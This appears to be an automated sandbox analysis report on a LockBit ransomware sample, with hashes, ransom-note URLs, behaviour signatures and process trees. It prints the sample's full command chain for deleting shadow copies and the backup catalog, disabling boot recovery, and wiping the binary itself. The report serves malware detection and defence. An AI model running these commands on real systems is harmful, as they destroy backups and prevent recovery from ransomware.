Analysis
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max time kernel
138s -
max time network
111s -
platform
windows10_x64 -
resource
win10v20210410 -
submitted
06-05-2021 14:02
Static task
static1
Behavioral task
behavioral1
Sample
b3175331_by_Libranalysis.exe
Resource
win7v20210410
Behavioral task
behavioral2
Sample
b3175331_by_Libranalysis.exe
Resource
win10v20210410
General
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Target
b3175331_by_Libranalysis.exe
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Size
146KB
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MD5
b3175331ae74ee277e94d3e0bc982bf4
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SHA1
db0731d693a1ac46706825dcb91193ae4efec482
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SHA256
d5ea463e0719ee2d1705ff305cdd8529bd2ff23dde79c502c4f478937a91f874
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SHA512
38318d3e6461b72c6111e96c4d5aab830e5824b8ef762360d894ea67d9e16b12d54087f7f0fcc8c579824753df039b137294ba6abab0171e294f2c538cc6fa8a
Malware Config
Extracted
C:\odt\Restore-My-Files.txt
lockbit
http://lockbit-decryptor.top/?8B87A11BCEAB4AA5B3AC2F8C7DE166AE
http://lockbitks2tvnmwk.onion/?8B87A11BCEAB4AA5B3AC2F8C7DE166AE
Extracted
C:\Users\Admin\Desktop\LockBit-note.hta
http://lockbit-decryptor.top/?8B87A11BCEAB4AA5B3AC2F8C7DE166AE
http://lockbitks2tvnmwk.onion/?8B87A11BCEAB4AA5B3AC2F8C7DE166AE
Signatures
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Lockbit
Ransomware family with multiple variants released since late 2019.
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Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
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Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
Processes:
bcdedit.exebcdedit.exepid process 2568 bcdedit.exe 2844 bcdedit.exe -
Processes:
wbadmin.exepid process 3604 wbadmin.exe -
Modifies extensions of user files 14 IoCs
Ransomware generally changes the extension on encrypted files.
Processes:
b3175331_by_Libranalysis.exedescription ioc process File renamed C:\Users\Admin\Pictures\ProtectCheckpoint.tif => C:\Users\Admin\Pictures\ProtectCheckpoint.tif.lockbit b3175331_by_Libranalysis.exe File renamed C:\Users\Admin\Pictures\EnableStep.crw => C:\Users\Admin\Pictures\EnableStep.crw.lockbit b3175331_by_Libranalysis.exe File renamed C:\Users\Admin\Pictures\TestSend.crw => C:\Users\Admin\Pictures\TestSend.crw.lockbit b3175331_by_Libranalysis.exe File renamed C:\Users\Admin\Pictures\JoinInvoke.crw => C:\Users\Admin\Pictures\JoinInvoke.crw.lockbit b3175331_by_Libranalysis.exe File renamed C:\Users\Admin\Pictures\ConvertFromMove.tif => C:\Users\Admin\Pictures\ConvertFromMove.tif.lockbit b3175331_by_Libranalysis.exe File renamed C:\Users\Admin\Pictures\CopyApprove.tif => C:\Users\Admin\Pictures\CopyApprove.tif.lockbit b3175331_by_Libranalysis.exe File renamed C:\Users\Admin\Pictures\CompareDeny.crw => C:\Users\Admin\Pictures\CompareDeny.crw.lockbit b3175331_by_Libranalysis.exe File renamed C:\Users\Admin\Pictures\EditDebug.crw => C:\Users\Admin\Pictures\EditDebug.crw.lockbit b3175331_by_Libranalysis.exe File renamed C:\Users\Admin\Pictures\MoveSubmit.crw => C:\Users\Admin\Pictures\MoveSubmit.crw.lockbit b3175331_by_Libranalysis.exe File renamed C:\Users\Admin\Pictures\OptimizeResume.tiff => C:\Users\Admin\Pictures\OptimizeResume.tiff.lockbit b3175331_by_Libranalysis.exe File renamed C:\Users\Admin\Pictures\ResolveReceive.tif => C:\Users\Admin\Pictures\ResolveReceive.tif.lockbit b3175331_by_Libranalysis.exe File renamed C:\Users\Admin\Pictures\InitializeDismount.raw => C:\Users\Admin\Pictures\InitializeDismount.raw.lockbit b3175331_by_Libranalysis.exe File opened for modification C:\Users\Admin\Pictures\OptimizeResume.tiff b3175331_by_Libranalysis.exe File renamed C:\Users\Admin\Pictures\ApproveGet.tif => C:\Users\Admin\Pictures\ApproveGet.tif.lockbit b3175331_by_Libranalysis.exe -
Adds Run key to start application 2 TTPs 4 IoCs
Processes:
b3175331_by_Libranalysis.exedescription ioc process Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run b3175331_by_Libranalysis.exe Set value (str) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Software\Microsoft\Windows\CurrentVersion\Run\XO1XADpO01 = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\b3175331_by_Libranalysis.exe\"" b3175331_by_Libranalysis.exe Key created \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run b3175331_by_Libranalysis.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\Users\\Admin\\Desktop\\LockBit-note.hta" b3175331_by_Libranalysis.exe -
Drops desktop.ini file(s) 1 IoCs
Processes:
b3175331_by_Libranalysis.exedescription ioc process File opened for modification \??\Z:\$RECYCLE.BIN\S-1-5-21-3686645723-710336880-414668232-1000\desktop.ini b3175331_by_Libranalysis.exe -
Enumerates connected drives 3 TTPs 1 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
Processes:
b3175331_by_Libranalysis.exedescription ioc process File opened (read-only) \??\Z: b3175331_by_Libranalysis.exe -
Sets desktop wallpaper using registry 2 TTPs 1 IoCs
Processes:
b3175331_by_Libranalysis.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\17CA.tmp.bmp" b3175331_by_Libranalysis.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 64 IoCs
Processes:
b3175331_by_Libranalysis.exepid process 1016 b3175331_by_Libranalysis.exe 1016 b3175331_by_Libranalysis.exe 1016 b3175331_by_Libranalysis.exe 1016 b3175331_by_Libranalysis.exe 1016 b3175331_by_Libranalysis.exe 1016 b3175331_by_Libranalysis.exe 1016 b3175331_by_Libranalysis.exe 1016 b3175331_by_Libranalysis.exe 1016 b3175331_by_Libranalysis.exe 1016 b3175331_by_Libranalysis.exe 1016 b3175331_by_Libranalysis.exe 1016 b3175331_by_Libranalysis.exe 1016 b3175331_by_Libranalysis.exe 1016 b3175331_by_Libranalysis.exe 1016 b3175331_by_Libranalysis.exe 1016 b3175331_by_Libranalysis.exe 1016 b3175331_by_Libranalysis.exe 1016 b3175331_by_Libranalysis.exe 1016 b3175331_by_Libranalysis.exe 1016 b3175331_by_Libranalysis.exe 1016 b3175331_by_Libranalysis.exe 1016 b3175331_by_Libranalysis.exe 1016 b3175331_by_Libranalysis.exe 1016 b3175331_by_Libranalysis.exe 1016 b3175331_by_Libranalysis.exe 1016 b3175331_by_Libranalysis.exe 1016 b3175331_by_Libranalysis.exe 1016 b3175331_by_Libranalysis.exe 1016 b3175331_by_Libranalysis.exe 1016 b3175331_by_Libranalysis.exe 1016 b3175331_by_Libranalysis.exe 1016 b3175331_by_Libranalysis.exe 1016 b3175331_by_Libranalysis.exe 1016 b3175331_by_Libranalysis.exe 1016 b3175331_by_Libranalysis.exe 1016 b3175331_by_Libranalysis.exe 1016 b3175331_by_Libranalysis.exe 1016 b3175331_by_Libranalysis.exe 1016 b3175331_by_Libranalysis.exe 1016 b3175331_by_Libranalysis.exe 1016 b3175331_by_Libranalysis.exe 1016 b3175331_by_Libranalysis.exe 1016 b3175331_by_Libranalysis.exe 1016 b3175331_by_Libranalysis.exe 1016 b3175331_by_Libranalysis.exe 1016 b3175331_by_Libranalysis.exe 1016 b3175331_by_Libranalysis.exe 1016 b3175331_by_Libranalysis.exe 1016 b3175331_by_Libranalysis.exe 1016 b3175331_by_Libranalysis.exe 1016 b3175331_by_Libranalysis.exe 1016 b3175331_by_Libranalysis.exe 1016 b3175331_by_Libranalysis.exe 1016 b3175331_by_Libranalysis.exe 1016 b3175331_by_Libranalysis.exe 1016 b3175331_by_Libranalysis.exe 1016 b3175331_by_Libranalysis.exe 1016 b3175331_by_Libranalysis.exe 1016 b3175331_by_Libranalysis.exe 1016 b3175331_by_Libranalysis.exe 1016 b3175331_by_Libranalysis.exe 1016 b3175331_by_Libranalysis.exe 1016 b3175331_by_Libranalysis.exe 1016 b3175331_by_Libranalysis.exe -
Drops file in Program Files directory 64 IoCs
Processes:
b3175331_by_Libranalysis.exedescription ioc process File opened for modification C:\Program Files\WindowsApps\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\Assets\PhotosAppList.targetsize-16_altform-unplated_contrast-white.png b3175331_by_Libranalysis.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\images\themes\dark\illustrations_retina.png b3175331_by_Libranalysis.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\Restore-My-Files.txt b3175331_by_Libranalysis.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.feature_3.9.0.v20140827-1444\META-INF\eclipse.inf b3175331_by_Libranalysis.exe File opened for modification C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PGMN105.XML b3175331_by_Libranalysis.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\Assets\AppTiles\WeatherImages\210x173\7.jpg b3175331_by_Libranalysis.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_x64__8wekyb3d8bbwe\Assets\MainPage\goldIcon.png b3175331_by_Libranalysis.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_x64__8wekyb3d8bbwe\Assets\Themes\Jumbo\jumbo_cardback.png b3175331_by_Libranalysis.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\SkypeApp\Designs\Flags\large\gt_60x42.png b3175331_by_Libranalysis.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\viewer\nls\en-gb\Restore-My-Files.txt b3175331_by_Libranalysis.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\com.jrockit.mc.alert.ja_5.5.0.165303.jar b3175331_by_Libranalysis.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.e4.ui.model.workbench.nl_zh_4.4.0.v20140623020002.jar b3175331_by_Libranalysis.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\visualvm\modules\locale\com-sun-tools-visualvm-profiling_zh_CN.jar b3175331_by_Libranalysis.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.e4.core.services_1.2.1.v20140808-1251.jar b3175331_by_Libranalysis.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe\images\OneNoteWideTile.scale-100.png b3175331_by_Libranalysis.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.WindowsMaps_5.1611.10393.0_x64__8wekyb3d8bbwe\Assets\AppTiles\MapsAppList.targetsize-32_altform-unplated.png b3175331_by_Libranalysis.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe\images\OneNoteNotebookWideTile.scale-150.png b3175331_by_Libranalysis.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\weblink.api b3175331_by_Libranalysis.exe File opened for modification C:\Program Files\Microsoft Office\root\Document Themes 16\Facet.thmx b3175331_by_Libranalysis.exe File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\ProjectPro2019R_OEM_Perp-pl.xrm-ms b3175331_by_Libranalysis.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\Assets\TextureBitmaps\walnut.jpg b3175331_by_Libranalysis.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\Assets\InsiderHubAppList.targetsize-80_altform-unplated_contrast-black.png b3175331_by_Libranalysis.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.WindowsMaps_5.1611.10393.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\SecondaryTiles\Collections\contrast-white\SmallTile.scale-125_contrast-white.png b3175331_by_Libranalysis.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\uss-search\js\nls\tr-tr\Restore-My-Files.txt b3175331_by_Libranalysis.exe File opened for modification C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\Assets\PhotosMedTile.contrast-white_scale-100.png b3175331_by_Libranalysis.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\AppxManifest.xml b3175331_by_Libranalysis.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\s_duplicate_18.svg b3175331_by_Libranalysis.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\css\Restore-My-Files.txt b3175331_by_Libranalysis.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\SkypeApp\Designs\Flags\large\kh_60x42.png b3175331_by_Libranalysis.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\SkypeApp\Designs\Flags\small\fj_16x11.png b3175331_by_Libranalysis.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\Assets\InsiderHubLargeTile.scale-200_contrast-white.png b3175331_by_Libranalysis.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\SkypeApp\Assets\Images\feedback_icon_smiley.png b3175331_by_Libranalysis.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\SkypeApp\Designs\Flags\small\kg_16x11.png b3175331_by_Libranalysis.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\SkypeApp\Designs\Flags\small\ro_16x11.png b3175331_by_Libranalysis.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.WindowsMaps_5.1611.10393.0_neutral_split.scale-100_8wekyb3d8bbwe\Assets\SecondaryTiles\Car\LTR\contrast-white\WideTile.scale-100.png b3175331_by_Libranalysis.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe\XboxApp.Resource\Xbox.Smartglass.Loc.xml b3175331_by_Libranalysis.exe File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\PublisherVL_MAK-ppd.xrm-ms b3175331_by_Libranalysis.exe File opened for modification C:\Program Files\Microsoft Office\root\Office16\MEDIA\VOLTAGE.WAV b3175331_by_Libranalysis.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_x64__8wekyb3d8bbwe\Assets\HowToPlay\FreeCell\Goal_4.jpg b3175331_by_Libranalysis.exe File opened for modification C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000027\assets\Icons\CancelGlyph.16.GrayF.png b3175331_by_Libranalysis.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.WindowsCalculator_10.1702.312.0_x64__8wekyb3d8bbwe\Assets\CalculatorAppList.targetsize-40_altform-unplated_contrast-white.png b3175331_by_Libranalysis.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\s_download_pdf_18.svg b3175331_by_Libranalysis.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\unified-share\js\nls\nb-no\ui-strings.js b3175331_by_Libranalysis.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\locale\org-openide-actions_zh_CN.jar b3175331_by_Libranalysis.exe File created C:\Program Files\Java\jre1.8.0_66\lib\jfr\Restore-My-Files.txt b3175331_by_Libranalysis.exe File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\PublisherVL_KMS_Client-ul-oob.xrm-ms b3175331_by_Libranalysis.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\config\Modules\org-netbeans-modules-editor-mimelookup.xml b3175331_by_Libranalysis.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\Assets\AppTiles\WeatherIcons\30x30\196.png b3175331_by_Libranalysis.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\SkypeApp\Designs\Flags\small\ua_16x11.png b3175331_by_Libranalysis.exe File opened for modification C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.WindowsStore_11701.1001.87.0_neutral_split.scale-125_8wekyb3d8bbwe\resources.pri b3175331_by_Libranalysis.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\Assets\Office\PlaneCutKeepTop.scale-100.png b3175331_by_Libranalysis.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\Microsoft.Msn.Controls\EndOfLife\Assets\farewell.jpg b3175331_by_Libranalysis.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe\resources.pri b3175331_by_Libranalysis.exe File opened for modification C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\images\eml.scale-16.png b3175331_by_Libranalysis.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\db\lib\derbyLocale_zh_TW.jar b3175331_by_Libranalysis.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.jface.text_3.9.1.v20140827-1810.jar b3175331_by_Libranalysis.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\ks_IN\LC_MESSAGES\vlc.mo b3175331_by_Libranalysis.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\js\nls\de-de\Restore-My-Files.txt b3175331_by_Libranalysis.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\reviews\images\themes\dark\sat_logo_2x.png b3175331_by_Libranalysis.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\Assets\StopwatchWideTile.scale-200.png b3175331_by_Libranalysis.exe File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\VisioStd2019R_Retail-pl.xrm-ms b3175331_by_Libranalysis.exe File created C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\Restore-My-Files.txt b3175331_by_Libranalysis.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\Assets\Catalog\traintrackconnector.3mf b3175331_by_Libranalysis.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\Assets\GetStartedAppList.targetsize-40_contrast-black.png b3175331_by_Libranalysis.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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Checks SCSI registry key(s) 3 TTPs 4 IoCs
SCSI information is often read in order to detect sandboxing environments.
Processes:
vds.exedescription ioc process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_SANU&PROD_SANU_DVD-ROM\4&37CE57BA&0&010000 vds.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\FriendlyName vds.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_&PROD_HEARTDISK\4&37CE57BA&0&000000 vds.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\FriendlyName vds.exe -
Interacts with shadow copies 2 TTPs 1 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
Processes:
vssadmin.exepid process 3668 vssadmin.exe -
Modifies Control Panel 2 IoCs
Processes:
b3175331_by_Libranalysis.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Control Panel\Desktop\WallpaperStyle = "2" b3175331_by_Libranalysis.exe Set value (str) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Control Panel\Desktop\TileWallpaper = "0" b3175331_by_Libranalysis.exe -
Modifies registry class 1 IoCs
Processes:
b3175331_by_Libranalysis.exedescription ioc process Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings b3175331_by_Libranalysis.exe -
Runs ping.exe 1 TTPs 1 IoCs
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Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
b3175331_by_Libranalysis.exepid process 1016 b3175331_by_Libranalysis.exe 1016 b3175331_by_Libranalysis.exe -
Suspicious use of AdjustPrivilegeToken 50 IoCs
Processes:
b3175331_by_Libranalysis.exevssvc.exeWMIC.exewbengine.exedescription pid process Token: SeTakeOwnershipPrivilege 1016 b3175331_by_Libranalysis.exe Token: SeDebugPrivilege 1016 b3175331_by_Libranalysis.exe Token: SeBackupPrivilege 3440 vssvc.exe Token: SeRestorePrivilege 3440 vssvc.exe Token: SeAuditPrivilege 3440 vssvc.exe Token: SeIncreaseQuotaPrivilege 728 WMIC.exe Token: SeSecurityPrivilege 728 WMIC.exe Token: SeTakeOwnershipPrivilege 728 WMIC.exe Token: SeLoadDriverPrivilege 728 WMIC.exe Token: SeSystemProfilePrivilege 728 WMIC.exe Token: SeSystemtimePrivilege 728 WMIC.exe Token: SeProfSingleProcessPrivilege 728 WMIC.exe Token: SeIncBasePriorityPrivilege 728 WMIC.exe Token: SeCreatePagefilePrivilege 728 WMIC.exe Token: SeBackupPrivilege 728 WMIC.exe Token: SeRestorePrivilege 728 WMIC.exe Token: SeShutdownPrivilege 728 WMIC.exe Token: SeDebugPrivilege 728 WMIC.exe Token: SeSystemEnvironmentPrivilege 728 WMIC.exe Token: SeRemoteShutdownPrivilege 728 WMIC.exe Token: SeUndockPrivilege 728 WMIC.exe Token: SeManageVolumePrivilege 728 WMIC.exe Token: 33 728 WMIC.exe Token: 34 728 WMIC.exe Token: 35 728 WMIC.exe Token: 36 728 WMIC.exe Token: SeIncreaseQuotaPrivilege 728 WMIC.exe Token: SeSecurityPrivilege 728 WMIC.exe Token: SeTakeOwnershipPrivilege 728 WMIC.exe Token: SeLoadDriverPrivilege 728 WMIC.exe Token: SeSystemProfilePrivilege 728 WMIC.exe Token: SeSystemtimePrivilege 728 WMIC.exe Token: SeProfSingleProcessPrivilege 728 WMIC.exe Token: SeIncBasePriorityPrivilege 728 WMIC.exe Token: SeCreatePagefilePrivilege 728 WMIC.exe Token: SeBackupPrivilege 728 WMIC.exe Token: SeRestorePrivilege 728 WMIC.exe Token: SeShutdownPrivilege 728 WMIC.exe Token: SeDebugPrivilege 728 WMIC.exe Token: SeSystemEnvironmentPrivilege 728 WMIC.exe Token: SeRemoteShutdownPrivilege 728 WMIC.exe Token: SeUndockPrivilege 728 WMIC.exe Token: SeManageVolumePrivilege 728 WMIC.exe Token: 33 728 WMIC.exe Token: 34 728 WMIC.exe Token: 35 728 WMIC.exe Token: 36 728 WMIC.exe Token: SeBackupPrivilege 276 wbengine.exe Token: SeRestorePrivilege 276 wbengine.exe Token: SeSecurityPrivilege 276 wbengine.exe -
Suspicious use of WriteProcessMemory 24 IoCs
Processes:
b3175331_by_Libranalysis.execmd.execmd.exedescription pid process target process PID 1016 wrote to memory of 2212 1016 b3175331_by_Libranalysis.exe cmd.exe PID 1016 wrote to memory of 2212 1016 b3175331_by_Libranalysis.exe cmd.exe PID 2212 wrote to memory of 3668 2212 cmd.exe vssadmin.exe PID 2212 wrote to memory of 3668 2212 cmd.exe vssadmin.exe PID 2212 wrote to memory of 728 2212 cmd.exe WMIC.exe PID 2212 wrote to memory of 728 2212 cmd.exe WMIC.exe PID 2212 wrote to memory of 2568 2212 cmd.exe bcdedit.exe PID 2212 wrote to memory of 2568 2212 cmd.exe bcdedit.exe PID 2212 wrote to memory of 2844 2212 cmd.exe bcdedit.exe PID 2212 wrote to memory of 2844 2212 cmd.exe bcdedit.exe PID 2212 wrote to memory of 3604 2212 cmd.exe wbadmin.exe PID 2212 wrote to memory of 3604 2212 cmd.exe wbadmin.exe PID 1016 wrote to memory of 5276 1016 b3175331_by_Libranalysis.exe mshta.exe PID 1016 wrote to memory of 5276 1016 b3175331_by_Libranalysis.exe mshta.exe PID 1016 wrote to memory of 5276 1016 b3175331_by_Libranalysis.exe mshta.exe PID 1016 wrote to memory of 5304 1016 b3175331_by_Libranalysis.exe cmd.exe PID 1016 wrote to memory of 5304 1016 b3175331_by_Libranalysis.exe cmd.exe PID 1016 wrote to memory of 5304 1016 b3175331_by_Libranalysis.exe cmd.exe PID 5304 wrote to memory of 5364 5304 cmd.exe PING.EXE PID 5304 wrote to memory of 5364 5304 cmd.exe PING.EXE PID 5304 wrote to memory of 5364 5304 cmd.exe PING.EXE PID 5304 wrote to memory of 5504 5304 cmd.exe fsutil.exe PID 5304 wrote to memory of 5504 5304 cmd.exe fsutil.exe PID 5304 wrote to memory of 5504 5304 cmd.exe fsutil.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\b3175331_by_Libranalysis.exe"C:\Users\Admin\AppData\Local\Temp\b3175331_by_Libranalysis.exe"1⤵
- Modifies extensions of user files
- Adds Run key to start application
- Drops desktop.ini file(s)
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Drops file in Program Files directory
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet2⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet3⤵
- Interacts with shadow copies
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C:\Windows\System32\Wbem\WMIC.exewmic shadowcopy delete3⤵
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\system32\bcdedit.exebcdedit /set {default} bootstatuspolicy ignoreallfailures3⤵
- Modifies boot configuration data using bcdedit
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C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled no3⤵
- Modifies boot configuration data using bcdedit
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C:\Windows\system32\wbadmin.exewbadmin delete catalog -quiet3⤵
- Deletes backup catalog
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C:\Windows\SysWOW64\mshta.exe"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\Desktop\LockBit-note.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}2⤵
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C ping 127.0.0.7 -n 3 > Nul & fsutil file setZeroData offset=0 length=524288 "C:\Users\Admin\AppData\Local\Temp\b3175331_by_Libranalysis.exe" & Del /f /q "C:\Users\Admin\AppData\Local\Temp\b3175331_by_Libranalysis.exe"2⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\PING.EXEping 127.0.0.7 -n 33⤵
- Runs ping.exe
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C:\Windows\SysWOW64\fsutil.exefsutil file setZeroData offset=0 length=524288 "C:\Users\Admin\AppData\Local\Temp\b3175331_by_Libranalysis.exe"3⤵
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\system32\wbengine.exe"C:\Windows\system32\wbengine.exe"1⤵
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\vdsldr.exeC:\Windows\System32\vdsldr.exe -Embedding1⤵
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C:\Windows\System32\vds.exeC:\Windows\System32\vds.exe1⤵
- Checks SCSI registry key(s)
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
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Downloads
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C:\Users\Admin\Desktop\LockBit-note.htaMD5
5e4f772e0f930dd533354e6135f7c1f3
SHA1b205afa86feb94b1e0c5e828bf54b9dca489da95
SHA25668f1938c7573cbaeb09048d58bb07b6db2d0ee891cbe16bd46ec05a60e9d1cc1
SHA512a3b045640f3c84bb9cff63f483401e91ca47fd1ee5ece49cb34c671784ab551ed501aa59455a863deac235e83061070cc8365b6eaf912556e02c91f5112986a7
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memory/728-116-0x0000000000000000-mapping.dmp
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memory/2212-114-0x0000000000000000-mapping.dmp
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memory/2568-117-0x0000000000000000-mapping.dmp
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memory/2844-118-0x0000000000000000-mapping.dmp
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memory/3604-119-0x0000000000000000-mapping.dmp
